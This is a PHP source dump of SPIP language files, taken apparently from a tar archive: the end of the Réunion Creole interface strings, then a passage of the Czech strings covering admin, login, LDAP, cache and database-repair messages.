'texte_login_ldap_1' => '(Lès vid pou inn laksé san lidentifikasyon ou rant in somin komplé, pa égsanp « <tt>uid=hoareau, ou=zitilizatèr, dc=domèn-amwin, dc=com</tt> ».)',
'texte_login_precaution' => 'Tansyon pangar ! Sa lé lo non sanm ou lé konékté.
Ansèrv formulèr-la èk prékosyon...',
'texte_message_edit' => 'Tansyon pangar : modékri-la, tout bann komandèr lo sit i pé sanz ali. Li lé vizib osi pou tout bann lotèr. Ni konsèy aou anserv bann zanons sèlman pou armontr bann zévènman sak lé inportan sir lo sit.',
'texte_mise_a_niveau_base_1' => 'Ou vyin zist d-fini larnouvèlman bann fisyé SPIP.
Ifo astèr armètanivo labazdodné.',
'texte_modifier_article' => 'Sanz lartik :',
'texte_moteur_recherche_active' => '<b>Lo rodèr lo sit lé an mars.</b> Anserv lakomand-la
si ou vé fè zwé inn rapid nouvèl indéksasyon (dann ka-la pa égsanp : aprè ou la réstoré
inn sovgard. Gard an tèt sak bann dokiman ou la sanz normalman (dopwi lafigirwèb lo SPIP), zot lé otomatikman
réindéksé : é litilité la komand-la lé donk ésépsyonèl.',
'texte_moteur_recherche_non_active' => 'Rodèr do SPIP lé pa an mars.',
'texte_multilinguisme' => 'Si ou vé zèr out bann zartik dann plizyèr lang, èk inn sistèm navigasyon konplèks, ou pé azout inn ménidswa lalang lartik ou laribrik.', # MODIF
'texte_multilinguisme_trad' => 'Ou pé osi azout inn sistèm lazéstyon bann gatir ant tout bann tradiksyon inn minm lartik.', # MODIF
'texte_non_compresse' => '<i>Lé pa konpèrsé</i> (akoz out servèr i pé pa fé zwé lafonksyon-la)',
'texte_nouveau_message' => 'Nouvo modékri',
'texte_nouvelle_version_spip_1' => 'Ou la finn instal inn nouvèl versyon do SPIP.',
'texte_nouvelle_version_spip_2' => 'Ek lo nouvèl versyon-la lé nésésèr fé zwé inn pli konplé arnouvèlman, sak dabitid. Si ou lé lo wèbmèt lo sit, mersi éfas lo fisyé @connect@. Arpran answit linstalasyon pour arnouvèl out bann paramèt pou lakostaz-labazdodné.<p> (Véy byin. : si ou la oubliyé out bann paramèt pou lakostaz, gèt inn pé lo fisyé @connect@ avann dégrèn ali...)', # MODIF
'texte_operation_echec' => 'Bataryèr si lapazwèb davan pou swazi ou kré inn ot labaz. Vèy byin osi tout bann zinformasyon out lébèrzèr la donn aou.',
'texte_plus_trois_car' => 'plid 3 karaktèr-linprimri',
'texte_plusieurs_articles' => 'Nana plisyèr lotèr trouvé pou "@cherche_auteur@" :',
'texte_port_annuaire' => '(Valèr-la, indiké otomatikamn, li roul-ron byin normalman.)',
'texte_presente_plugin' => 'Paj la i donn aou la lis bann plugin ou sar trouvé sir lo sit. Ou i pé fé zwé tout bann plugin ou na bezwin, ek in simp crwa dann ti caro korespondan.',
'texte_proposer_publication' => 'Kank out lartik lé terminé, ou pé propoz ali pou lapiblikasyon.',
'texte_proxy' => 'Dann désertin ka, lé nésésèr anserv inn <i>proksi HTTP</i> (si ou néna inn intranèt o inn rézo sak lé protézé...),
pour ariv sir tout bann sit zot la sindiké.
Dann ka-la mèt isi son ladrès, dann form présizé la
<tt><html>http://proxy:8080</html></tt>. Sinonsa,
lés sinpman kaz-la vid.',
'texte_publication_articles_post_dates' => 'Kosa SPIP i dwa fèr èk bann zartik sak ladat lapiblikasyon i sra pou dann fitir ?',
'texte_rappel_selection_champs' => '[Oubli pa swazi korèkman lo karo-la.]',
'texte_recalcul_page' => 'Si ou vé
arkalkil inn sèl paz, ni konsèy aou pas dann léspas piblik èk anserv lo bouton « arkalkil ».',
'texte_recapitiule_liste_documents' => 'Paz-la i ramas lalist bann dokiman ou la finn mèt dann bann rubrik. Pou sanz tout bann zinformasyon po bann dokiman-la, anon swiv lo gatiraz sir lapaz son rubrik.',
'texte_recuperer_base' => 'Aranz la bazdodné',
'texte_reference_mais_redirige' => 'lartik lé référansé dann out sit SPIP, mé li lé tourné-viré sir inn ot ladrès URL.',
'texte_requetes_echouent' => 'Kank néna désertinn rokèt SQL i mars zamé
sank ou vwa pwin okinn rézon pou sa, lé posib lafot sa lé labazdodné li-minm.</b><p>
SQL néna inn kalité pou aranz tout son bann tab
kank zot lé abimé sanm inn aksidan. Ou pé eséy isi inn aranzman ; dan ka li mars pa, konsèrv inn kopi lafisaz, akoz néna petèt bann zindikasyon kosa i mars pa...<p>
Si lo larlik-la i rest touzour, ifo koz do sa èk out léberzèr.<p>', # MODIF
'texte_selection_langue_principale' => 'Ou pé swazi anba-tèrla lo« kozé prinsipal » pou out sitwèb. Swa-la, li obliz pa aou ékri out bann zartik dann lang swazi sa-minm- rezman ankor ! Li permé sirtou kadré byin :
<ul><li> lo forma otomatik pou tout bann dat sak lé afisé sir lintèrfas out sit piblik ;</li>
<li> bann karaktèr-limprimri sak SPIP i dwa anserv pou afisé bann tèks ;</li>
<li> la lang ifo ansèrv pour tout bann formulèr ;</li>
<li> la lang léspas privé.</li></ul>',
'texte_sous_titre' => 'Soutitr',
'texte_statistiques_visites' => '(bann bar koulèr-fénwar : dimans / liyn koulèr-fénwar : lo sanzman lamwayinn)',
'texte_statut_attente_validation' => 'i espèr lakonfirmasyon',
'texte_statut_publies' => 'pibliyé an liyn',
'texte_statut_refuses' => 'arfizé',
'texte_suppression_fichiers' => 'Anserv lakomand-la pou dégrèn tout bann fisyé sir lo kas SPIP. Sa lé itil, pa égsanp, pou fors larkalkil do tout bann pazwèb si lo sit, kank ou la fé bann sanzman inportan dann grafism ou dann lastriktir lo sit.',
'texte_sur_titre' => 'Sirtitr',
'texte_table_ok' => ' : tab-la lé OK.',
'texte_tables_indexation_vides' => 'Bann tab lé vid (pou lindèksasyon lo rodèr).',
'texte_tentative_recuperation' => 'Esèy inn aranzman',
'texte_tenter_reparation' => 'Esèy inn aranzman dla bazdodné',
'texte_test_proxy' => 'Pou inn test lo proksi, mèt isi ladrès inn sitwèb sak ou vé testé.',
'texte_titre_02' => 'Titr :',
'texte_titre_obligatoire' => '<b>Titr</b> [Obligatwar]',
'texte_travail_article' => '@nom_auteur_modif@ la finn travay sir lartik-la néna @date_diff@ minit',
'texte_travail_collaboratif' => 'Si néna souvandfwa plisyèr lotèr pou mèt ansanm inn travay sir lo minm lartik, lo sistèm i pé afis inn zanons spésial. Zanons-la, i pé montr azot bann zartik sak la finn dèt « ouver » inn ti pé avan. Lé pratik pou anpès bann sanzman similtané.
Mé vèy byin, lopsyon-la, li lé pa aktivé otomatikman pou anpès lafisaz inn lavizman abizif.',
'texte_trop_resultats_auteurs' => 'Néna trod rézilta pou "@cherche_auteur@" ; mersi kadr myé lo rodaz.',
'texte_unpack' => 'télézarzman dla dernyèr versyon',
'texte_utilisation_moteur_syndiques' => 'Kank ou i anserv lo rodèr SPIP, ou pé fèr bann rodaz sir tout bann sit èk out bann zartik sindiké. Néna plisyèr manyir diféran. <br /><img src=\'puce.gif\' /> Pli sinp lé rod sélman dann lo titr ou dann ladéskrisyon out bann zartik. <br />-
Inn dézièm métod, pli pwisan, li permè a SPIP rod osi dann kor lo tèks tout out bann sit référansé . Si ou
la référans inn sitwèb, SPIP i sava rod dann tèks sa-minm.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Èk métod-la, SPIP lé oblizé d-vizité
souvandfwa bann sit référansé,
sak i pé rand out sit inn pé pli lan.',
'texte_vide' => 'vid',
'texte_vider_cache' => 'Dévid lo kas',
'titre_admin_effacer' => 'Lantrotyin tèknik',
'titre_admin_tech' => 'Lantrotyin tèknik',
'titre_admin_vider' => 'Lantrotyin tèknik',
'titre_cadre_afficher_article' => 'Afis bann zartik',
'titre_cadre_afficher_traductions' => 'Afis léta bann tradiksyon pou lalang-la.',
'titre_cadre_ajouter_auteur' => 'AZOUT INN LOTÈR :',
'titre_cadre_interieur_rubrique' => 'Dann rubrik',
'titre_cadre_numero_auteur' => 'LOTÈR NIMÉRO',
'titre_cadre_signature_obligatoire' => '<b>Sinyatir</b> [Obligatwar]<br />',
'titre_config_fonctions' => 'Lakonfigirasyon lo sitwèb',
'titre_configuration' => 'Lakonfigirasyon lo sit',
'titre_connexion_ldap' => 'Bann lopsyon : <b>Out lakostaz LDAP</b>',
'titre_groupe_mots' => 'GROUP BANN MO :',
'titre_langue_article' => 'LANG LARTIK-LA', # MODIF
'titre_langue_rubrique' => 'LANG LARUBRIK-LA', # MODIF
'titre_langue_trad_article' => 'LANG EK TRADIKSYON LARTIK',
'titre_les_articles' => 'BANN ZARTIK',
'titre_naviguer_dans_le_site' => 'Bat-karé sir lo sit...',
'titre_nouvelle_rubrique' => 'Nouvèl rubrik',
'titre_numero_rubrique' => 'RUBRIK NIMÉRO :',
'titre_page_admin_effacer' => 'Lantrotyin tèknik : pou dégrèn labaz',
'titre_page_articles_edit' => 'Sanz : @titre@',
'titre_page_articles_page' => 'Bann zartik',
'titre_page_articles_tous' => 'Lo sit antyé',
'titre_page_auteurs' => 'Bann vizitèr',
'titre_page_calendrier' => 'Kalandryé @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Lakonfigirasyon lo sit',
'titre_page_config_fonctions' => 'Lakonfigirasyon lo sit',
'titre_page_configuration' => 'Lakonfigirasyon lo sit',
'titre_page_controle_petition' => 'Pu swiv bann filsinyatir',
'titre_page_delete_all' => 'Dégrénaz antyé. Lé pa posib artourné komand-la',
'titre_page_documents_liste' => 'Bann dokiman dann bann rubrik',
'titre_page_index' => 'Out léspas privé',
'titre_page_message_edit' => 'Ékri inn modékri',
'titre_page_messagerie' => 'Out kazmodékri',
'titre_page_recherche' => 'Bann rézilta pou lo rodaz @recherche@',
'titre_page_statistiques_referers' => 'Bann sifklé (bann gatir i rant dann sit)',
'titre_page_upgrade' => 'Dernyé sanzman SPIP (armizanivo)',
'titre_publication_articles_post_dates' => 'Piblikasyion pou bann zartik daté-déryèr',
'titre_referencer_site' => 'Référans inn sitwèb :',
'titre_rendez_vous' => 'RANDÉVOU :',
'titre_reparation' => 'Aranzman',
'titre_suivi_petition' => 'Pou swiv bann filsinyatir',
'trad_article_inexistant' => 'Ni la pa trouv okin lartik i port zot niméro-la.',
'trad_article_traduction' => 'Tout bann versyon lartik-la :',
'trad_deja_traduit' => 'Lartik-la lé déza inn tradiksyon li-minm.',
'trad_delier' => 'Arèt gatiré lartik-la èk son bann tradiksyon', # MODIF
'trad_lier' => 'Lartik-la lé inn tradiksyon lartik niméro :',
'trad_new' => 'Ekri inn nouvèl tradiksyon lartik-la', # MODIF
// U
'utf8_convert_attendez' => 'Mersi espèr in ti moman pi rocharj lo paj la.',
'utf8_convert_avertissement' => 'Ou sava chanje lo kontni out bazdodné (bzartik, tite-nouvèl,etousal) sat lé koméla dan formad karaktèr <b>@orig@</b> pou pass azot dan bann karaktèr<b>@charset@</b>.',
'utf8_convert_backup' => 'Oubly pa fè in sovgard byen komplé out sit. Sra nésésèr ou gad byen sak out ban leskelèt ek bann fisyé lang zot lé kopatib ek @charset@. Pangar, si lo sistèm pou swiv bann révizyon lé aktivé, li sra sirman ravajé.',
'utf8_convert_erreur_deja' => 'Out sit i anserv déja @charset@, lé pa itil chanje ali...',
'utf8_convert_erreur_orig' => 'Larlik : lansanm karaktèr @charset@ li lé pa siporté.',
'utf8_convert_termine' => 'Lé finn fini !',
'utf8_convert_timeout' => '<b>TANSYON PANGAR :</b> SI out server li gigny in <i>timeout</i>, ou nora bezwin rocharj out paj zizka èl i afis « finn fino ».',
'utf8_convert_verifier' => 'Fok ou sava vid lo kach, epi gad byen tout lé normal sir lo sit piblik. Si ou nénna in larlik, inkièt pa ou, in sovgard out donné la té fin fini (ek lo forma SQL) andan lo répertwar @rep@.',
'utf8_convertir_votre_site' => 'Po chanjer out sit ek utf-8',
// V
'version' => 'Vesyon :'
);
?>
ecrire_cs.php 0000666 00000152026 15252547432 0007236 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=cs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Aktivovat plugin',
'affichage' => 'Zobrazit',
'aide_non_disponible' => 'Tato část vestavěné nápovědy není ještě v tomto jazykovém znění k dispozici.',
'auteur' => 'Autor:',
'avis_acces_interdit' => 'Přístup zakázán.',
'avis_article_modifie' => 'Varování: Na tomto článku pracoval před @date_diff@ minutou/minutami @nom_auteur_modif@.',
'avis_aucun_resultat' => 'Nenalezeny žádné výsledky.',
'avis_chemin_invalide_1' => 'Zvolili jste cestu',
'avis_chemin_invalide_2' => 'nejspíš neplatnou. Vraťte se na předchozí stránku a zkontrolujte zadané údaje.',
'avis_connexion_echec_1' => 'Spojení k serveru SQL selhalo.', # MODIF
'avis_connexion_echec_2' => 'Vraťte se na předchozí stránku a zkontrolujte zadané údaje.',
'avis_connexion_echec_3' => '<b>Pozn.:</b> V mnoha případech musíte nejprve <b>požádat</b> o aktivaci přístupu k databázi SQL a teprve potém ji můžete používat. Nemůžete-li se připojit, zkontrolujte, zda jste tento požadavek opravdu zadali.', # MODIF
'avis_connexion_ldap_echec_1' => 'Selhalo připojení k serveru LDAP.',
'avis_connexion_ldap_echec_2' => 'Vraťte se na předchozí stránku a zkontrolujte zadané údaje.',
'avis_connexion_ldap_echec_3' => 'Případně při importu uživatelů nepoužívejte podporu LDAP.',
'avis_deplacement_rubrique' => 'Upozornění! V této sekci je celkem @contient_breves@ vložených novinek: potvrďte jejich přesun zaškrtnutím tohoto políčka.',
'avis_destinataire_obligatoire' => 'Před odesláním zprávy musíte vybrat adresáta.',
'avis_erreur_connexion_mysql' => 'Chyba připojení SQL', # MODIF
'avis_erreur_version_archive' => '<b>Varování! Soubor @archive@ odpovídá jiné verzi
systému SPIP, než je ta, kterou máte
nainstalovánu.</b> Důsledkem mohou být tyto vážné
potíže: zničení databáze,
nefunkčnost různých částí webu atd. Neodesílejte
tento požadavek na import.<p>Bližší informace
viz dokumentace systému SPIP <a href="@spipnet@"></a>.', # MODIF
'avis_espace_interdit' => '<b>Zakázaná oblast</b><p>Systém SPIP je již nainstalován.', # MODIF
'avis_lecture_noms_bases_1' => 'Instalační program nemůže přečíst názvy nainstalovaných databází.',
'avis_lecture_noms_bases_2' => 'Buď není dostupná žádná databáze nebo bylo zveřejňování seznamu databází z bepečnostních důvodů
vypnuto (to je případ mnoha hostitelů).',
'avis_lecture_noms_bases_3' => 'V takovém případě je možné, že bude možno používat databázi, která má stejný název jako je vaše uživatelské jméno:',
'avis_non_acces_message' => 'K této zprávě nemáte přístup.',
'avis_non_acces_page' => 'K této stránce nemáte přístup.',
'avis_operation_echec' => 'Došlo k selhání operace.',
'avis_probleme_archive' => 'Chyba při čtení ze souboru @archive@',
'avis_suppression_base' => 'VAROVÁNÍ! Odstranění dat je nevratné',
'avis_version_mysql' => 'Ve vaší verzi databáze SQL (@version_mysql@) nelze automaticky opravovat databázové tabulky.', # MODIF
// B
'bouton_acces_ldap' => 'Přidat přístup k LDAP >>', # MODIF
'bouton_ajouter' => 'Přidat',
'bouton_ajouter_participant' => 'PŘIDAT ÚČASTNÍKA:',
'bouton_annonce' => 'OZNÁMENÍ',
'bouton_checkbox_envoi_message' => 'možnost odeslat zprávu',
'bouton_checkbox_indiquer_site' => 'Musíte zadat název webu',
'bouton_checkbox_signature_unique_email' => 'pouze jeden podpis na jednu elektronickou adresu',
'bouton_checkbox_signature_unique_site' => 'pouze jeden podpis na jeden web',
'bouton_demande_publication' => 'Požádat o zveřejnění článku',
'bouton_desactive_tout' => 'Vše vypnout',
'bouton_effacer_index' => 'Odstranit indexování',
'bouton_effacer_tout' => 'Odstranit vše',
'bouton_envoi_message_02' => 'ODESLAT ZPRÁVU',
'bouton_envoyer_message' => 'Konečná zpráva: odeslat',
'bouton_modifier' => 'Změnit',
'bouton_pense_bete' => 'INTERNÍ POZNÁMKA',
'bouton_radio_activer_messagerie' => 'Zapnout interní systém zpráv',
'bouton_radio_activer_messagerie_interne' => 'Zapnout interní systém zpráv',
'bouton_radio_activer_petition' => 'Zapnout petici',
'bouton_radio_afficher' => 'Zobrazit',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Zobrazit v seznamu připojených redaktorů',
'bouton_radio_desactiver_messagerie' => 'Vypnout systém zpráv',
'bouton_radio_envoi_annonces_adresse' => 'Odesílat oznámení na adresu:',
'bouton_radio_envoi_liste_nouveautes' => 'Zasílat seznam novinek',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Nezobrazovat v seznamu redaktorů',
'bouton_radio_non_envoi_annonces_editoriales' => 'Nezasílat redaktorská oznámení',
'bouton_radio_pas_petition' => 'Bez petice',
'bouton_radio_petition_activee' => 'Petice zapnuta',
'bouton_radio_supprimer_petition' => 'Odstranit petici',
'bouton_redirection' => 'PŘESMĚROVÁNÍ',
'bouton_relancer_installation' => 'Znovu spustit instalaci',
'bouton_suivant' => 'Další',
'bouton_tenter_recuperation' => 'Zkusit opravu',
'bouton_test_proxy' => 'Zkusit proxy',
'bouton_vider_cache' => 'Vyprázdnit cache',
'bouton_voir_message' => 'Zobrazit zprávu před odesláním',
// C
'cache_mode_compresse' => 'Soubory cache jsou uloženy komprimovaně.',
'cache_mode_non_compresse' => 'Soubory cache jsou uloženy nekomprimovaně.',
'cache_modifiable_webmestre' => 'Tento parametr může měnit správce webu.',
'calendrier_synchro' => 'Používáte-li kompatibilní kalendář <b>iCal</b>, můžete jej synchnizovat s údaji na tomto webu.',
// D
'date_mot_heures' => 'hodina',
// E
'email' => 'e-mail',
'email_2' => 'email:',
'entree_adresse_annuaire' => 'Adresa seznamu',
'entree_adresse_email' => 'Váš email',
'entree_base_donnee_1' => 'Adresa databáze',
'entree_base_donnee_2' => '(Tato adresa většinou odpovídá adrese vašeho webu někdy výrazu "localhost", někdy je prázdná.)',
'entree_biographie' => 'Stručný životopis.',
'entree_chemin_acces' => '<b>Zadejte</b> cestu:', # MODIF
'entree_cle_pgp' => 'Váš klíč PGP',
'entree_contenu_rubrique' => '(Stručný obsah sekce.)',
'entree_identifiants_connexion' => 'Vaše přihlašovací údaje pro připojení...',
'entree_informations_connexion_ldap' => 'Zde zadejte údaje pro připojení k adresáří LDAP.
Tyto údaje by vám měl sdělit správce systému nebo sítě.',
'entree_infos_perso' => 'Kdo jste?',
'entree_interieur_rubrique' => 'Uvnitř sekce:',
'entree_liens_sites' => '<b>Hypertextový odkaz</b> (odkaz, web, který se má navštívit...)', # MODIF
'entree_login' => 'Vaše přihlašovací údaje',
'entree_login_connexion_1' => 'Přihlašovací údaje pro připojení',
'entree_login_connexion_2' => '(Někdy odpovídá vašim přihlašovacím údajům k FTP, někdy zůstávají nevyplněné)',
'entree_login_ldap' => 'Původní příhlašovací údaje k LDAP',
'entree_mot_passe' => 'Vaše heslo',
'entree_mot_passe_1' => 'Heslo pro připojení',
'entree_mot_passe_2' => '(Někdy odpovídá vašemu heslu k FTP, někdy zůstává prázdné)',
'entree_nom_fichier' => 'Zadejte název souboru @texte_compresse@:',
'entree_nom_pseudo' => 'Vaše jeméno nebo přezdívka',
'entree_nom_pseudo_1' => '(Vaše jméno nebo přezdívka)',
'entree_nom_site' => 'Název vašeho webu',
'entree_nouveau_passe' => 'Nové heslo',
'entree_passe_ldap' => 'Heslo',
'entree_port_annuaire' => 'Číslo portu adresáře',
'entree_signature' => 'Podpis',
'entree_titre_obligatoire' => '<b>Titul</b> [povinný údaj]<br />', # MODIF
'entree_url' => 'Adresa (URL) vašeho webu',
'erreur_plugin_fichier_absent' => 'Soubor chybí',
'erreur_plugin_fichier_def_absent' => 'Chybí definiční soubor',
'erreur_plugin_nom_fonction_interdit' => 'Zakázané jméno funkce',
'erreur_plugin_nom_manquant' => 'Chybí jméno pluginu',
'erreur_plugin_prefix_manquant' => 'Jmenný prostor pluginu není definovaný',
'erreur_plugin_tag_plugin_absent' => '<plugin> chybí v definičním souboru',
'erreur_plugin_version_manquant' => 'Chybí informace o verzi pluginu',
// I
'ical_info1' => 'Tato stránka umožňuje zůstat v kontaktu s děním na tomto webu několika způsoby.',
'ical_info2' => 'Bližší informace naleznete v <a href="@spipnet@">dokumentaci k systému SPIP</a>.', # MODIF
'ical_info_calendrier' => 'Máte k dispozici dva kalendáře. První obsahuje seznam webů s uvedením všech publikovaných článků. Druhý obsahuje redaktorská oznámení a vaše poslední soukromá sdělení: k němu máte přístup pomocí osobního klíče. Tento klíč můžete kdykoli změnit obnovením svého hesla.',
'ical_methode_http' => 'Odeslání / stažení',
'ical_methode_webcal' => 'Synchronizace (webcal://)',
'ical_texte_js' => 'Jeden příkaz JavaScriptu jednoduše umožní na všech vašich webech zobrazit nejnovější články z tohoto webu.',
'ical_texte_prive' => 'Tento kalendář je určen výhradně k vašemu osobnímu použití a informuje vás o soukromé činnosti redaktorů tohoto webu (osobní úkoly a schůzky, navrhované články a novinky ...).',
'ical_texte_public' => 'Tento kalendář vám umožní sledovat aktivitu veřejné části webu (publikované články a novinky).',
'ical_texte_rss' => 'Novinky tohoto webu můžete syndikovat v libovolném programu, který umožňuje číst soubory ve formátu XML/RSS (Rich Site Summary). Tento formát umožňuje systému SPIP číst novinky zveřejněné na jiných webech, které používají kompatibilní formát (syndikovaných webech).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Seznam pro rozesílání emailů',
'ical_titre_rss' => 'Syndikační soubory',
'icone_activer_cookie' => 'Nastavit cookie',
'icone_admin_plugin' => 'Spravovat pluginy',
'icone_afficher_auteurs' => 'Zobrazit autory',
'icone_afficher_visiteurs' => 'Zobrazit návštěvníky',
'icone_arret_discussion' => 'Ukončit účast v diskusi',
'icone_calendrier' => 'Kalendář',
'icone_creer_auteur' => 'Vytvořit nového autora a spojit ho s tímto článkem',
'icone_creer_mot_cle' => 'Zadejte nové klíčové slovo a spojte jej s tímto článkem',
'icone_creer_rubrique_2' => 'Vytvořit novou sekci',
'icone_envoyer_message' => 'Odeslat zprávu',
'icone_modifier_article' => 'Změnit článek',
'icone_modifier_message' => 'Změnit zprávu',
'icone_modifier_rubrique' => 'Změnit sekci',
'icone_retour' => 'Zpět',
'icone_retour_article' => 'Zpět k článku',
'icone_supprimer_cookie' => 'Smazat cookie',
'icone_supprimer_rubrique' => 'Odstranit sekci',
'icone_supprimer_signature' => 'Odstranit podpis',
'icone_valider_signature' => 'Potvrdit podpis',
'image_administrer_rubrique' => 'Máte právo správy této sekce',
'info_1_article' => '1 článek',
'info_1_site' => '1 web',
'info_activer_cookie' => 'Můžete nastavit <b>administrátorské cookie</b>, které vám dovolí
snadno přecházet mezi prohlížením webu a jeho editací.',
'info_admin_gere_rubriques' => 'Tento správce ospovídá za následující sekce:',
'info_admin_gere_toutes_rubriques' => 'Tento správce odpovídá ua <b>všechny sekce</b>.', # MODIF
'info_administrateur' => 'Správce',
'info_administrateur_1' => 'Správce',
'info_administrateur_2' => 'webu (<i>používat opatrně</i>)',
'info_administrateur_site_01' => 'Jste-li správcem webu, ',
'info_administrateur_site_02' => 'klepněte na tento odkaz',
'info_administrateurs' => 'Administrátoři',
'info_administrer_rubrique' => 'Máte právo správy této sekce',
'info_adresse' => 'na adrese:',
'info_adresse_url' => 'Adresa URL veřejného webu',
'info_afficher_visites' => 'Zobrazit návštěvy:',
'info_aide_en_ligne' => 'Nápověda online systému SPIP',
'info_ajout_image' => 'Přikládáte-li k článku obrázky jako dokumenty,
systém SPIP umí automaticky vytvořit jejich náhledy
(miniatury vložených obrázků). To umožňuje automaticky vytvořit např.
galerii nebo přehled.',
'info_ajout_participant' => 'Bude přidán tento účastník:',
'info_ajouter_rubrique' => 'Přidat další sekci do správy:',
'info_annonce_nouveautes' => 'Oznámení novinek',
'info_anterieur' => 'předchozí',
'info_article' => 'článek',
'info_article_2' => 'články',
'info_article_a_paraitre' => 'Články čekající na termín publikování',
'info_articles_02' => 'články',
'info_articles_2' => 'Články',
'info_articles_auteur' => 'Články tohoto autora',
'info_articles_trouves' => 'Nalezené články',
'info_articles_trouves_dans_texte' => 'Nalezené články (v textu)',
'info_attente_validation' => 'Vaše články čekající na schválení',
'info_aujourdhui' => 'dnes:',
'info_auteur_message' => 'AUTOR ZPRÁVY:',
'info_auteurs' => 'Autoři',
'info_auteurs_par_tri' => 'Autoři@partri@',
'info_auteurs_trouves' => 'Nalezení autoři',
'info_authentification_externe' => 'Externí autentifikace',
'info_avertissement' => 'Upozornění',
'info_base_installee' => 'Struktura vaší databáze byla nainstalována.',
'info_chapeau' => 'Stříška',
'info_chapeau_2' => 'Stříška:',
'info_chemin_acces_1' => 'Volitelný údaj: <b>Přístup k adresáři</b>', # MODIF
'info_chemin_acces_2' => 'Musíte nastavit přístup k údajům v adresáři. Tento údaj je nezbytný pro čtení uživatelských profilů, které jsou v něm uloženy.',
'info_chemin_acces_annuaire' => 'Volitelný údaj: <b>Cesta k adresáři', # MODIF
'info_choix_base' => 'Třetí krok:',
'info_classement_1' => 'z @liste@',
'info_classement_2' => '<sup>e</sup> z @liste@',
'info_code_acces' => 'Nezapomeňte své přístupové kódy!',
'info_compresseur_gzip' => 'It is advisable to first check if the service provider systematically compresses PHP scripts. To do this you can, for example, use the following service: @testgzip@', # MODIF
'info_config_suivi' => 'Jedná-li se o adresu diskusní skupiny, můžete zde uvést adresu, na které se mohou účastníci webu přihlásit. Může se jednat o adresu URL (například webová stránka pro přihlášení do skupiny) nebo o elektronickou adresu s uvedením specifického předmětu (např.: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Můžete se přihlásit na mailing-list tohoto webu. Potom budete dostávat oznámení o článcích a novinkách připravených k publikování.',
'info_confirmer_passe' => 'Potvrdit nové heslo:',
'info_connexion_base' => 'Druhý krok : <b>Pokus o připojení k databázi</b>', # MODIF
'info_connexion_ldap_ok' => 'Připojení k LDAP bylo úspěšné.</b><p> Můžete přistoupit k dalšímu kroku.</p>', # MODIF
'info_connexion_mysql' => 'První krok: <b>Připojení k databázi SQL</b>', # MODIF
'info_connexion_ok' => 'Spojení bylo úspěšné.',
'info_contact' => 'Kontakt',
'info_contenu_articles' => 'Obsah článků',
'info_creation_paragraphe' => '(Odstavce vytvoříte ponecháním volných řádků.)', # MODIF
'info_creation_rubrique' => 'Články můžete psát teprve,<br /> když vytvoříte alespoň jednu sekci.<br />', # MODIF
'info_creation_tables' => 'Čtvrtý krok: <b>Vytvoření databázových tabulek</b>', # MODIF
'info_creer_base' => '<b>Vytvořit</b> novou databázi:', # MODIF
'info_dans_rubrique' => 'V sekci:',
'info_date_publication_anterieure' => 'Datum poslední úpravy:',
'info_date_referencement' => 'Datum vytvoření odkazu na tento web:',
'info_derniere_etape' => 'Poslední krok: <b>byl dokončen!', # MODIF
'info_derniers_articles_publies' => 'Vaše poslední publikované články.',
'info_desactiver_messagerie_personnelle' => 'U tohoto webu můžete zapnout nebo vypnout systém interních zpráv.',
'info_descriptif' => 'Popis:',
'info_discussion_cours' => 'Probíhající diskuse',
'info_ecrire_article' => 'Články můžete psát teprve, když vytvoříte alespoň jednu sekci.',
'info_email_envoi' => 'Email pro zprávy (volitelný údaj)',
'info_email_envoi_txt' => 'Zde uveďte adresu pro zasílání emailů (standardně se jako tato adresa použije email příjemce):',
'info_email_webmestre' => 'Email správce webu (volitelný údaj)', # MODIF
'info_entrer_code_alphabet' => 'Zadejte kód znakové sady, která se má používat:',
'info_envoi_email_automatique' => 'Automatické zasílání emailů',
'info_envoyer_maintenant' => 'Odeslat nyní',
'info_etape_suivante' => 'Přejít k dalšímu kroku',
'info_etape_suivante_1' => 'Můžete přejít k dalšímu kroku.',
'info_etape_suivante_2' => 'Můžete přejít k dalšímu kroku.',
'info_exportation_base' => 'export databáze do @archive@',
'info_facilite_suivi_activite' => 'Systém SPIP může zasílat elektronické zprávy
(např. do diskusní skupiny redaktorů) oznamující žádosti o zveřejnění
a o schválení článků. Tím se ulehčí sledování publikační činnosti
na webu. ',
'info_fichiers_authent' => 'Autentifikační soubor ".htpasswd"',
'info_forums_abo_invites' => 'Na vašem webu existují diskusní skupiny vyhrazené přihlášeným účastníkům; návštěvníci se musí tedy zaregistrovat na veřejné části webu.',
'info_gauche_admin_effacer' => '<b>Tato stránka je přístupná pouze těm, kdo za web odpovídají.</b><p> Umožňuje přístup k funkcím určeným pro technickou údržbu. Některé z nich spouští autentifikaci, jež vyžaduje FTP přístup k webu.</p>', # MODIF
'info_gauche_admin_tech' => '<b>Tato stránka je vyhrazena těm, kdo za web odpovídají.</b><p> Umožňuje přístup k funkcím
pro technickou údržbu. Některé z nich spouští autentifikaci, jež vyžaduje FTP přístup k webu.</p>', # MODIF
'info_gauche_admin_vider' => '<b>Tato stránka je vyhrazena těm, kdo za web odpovídají.</b><p> Umožňuje přístup k funkcím
pro technickou údržbu. Některé z nich spouští autentifikaci, jež vyžaduje FTP přístup k webu.</p>', # MODIF
'info_gauche_auteurs' => 'Zde jsou uvedeni všichni autoři webu.
Jsou rozlišeni barvou ikony (správce = zelená; redaktor = žlutá).',
'info_gauche_auteurs_exterieurs' => 'Externí autoři bez přístupu k webu jsou označeni modrou ikonou;
odstranění autoři symbolem odpadkového koše.', # MODIF
'info_gauche_messagerie' => 'Systém zpráv umožňuje zasílat zprávy mezi redaktory, ukládat interní poznámky a zveřejňovat oznámení na hlavní stánce interní části webu (jste-li správce).',
'info_gauche_numero_auteur' => 'ČÍSLO AUTORA',
'info_gauche_statistiques_referers' => 'Na této stránce je seznam <i>referencí</i>, to je webů, ze kterých vede odkaz na váš vlastní web. Údaje jsou pouze za včerejšek a dnešek. Seznam se každých 24 hodin vynuluje.',
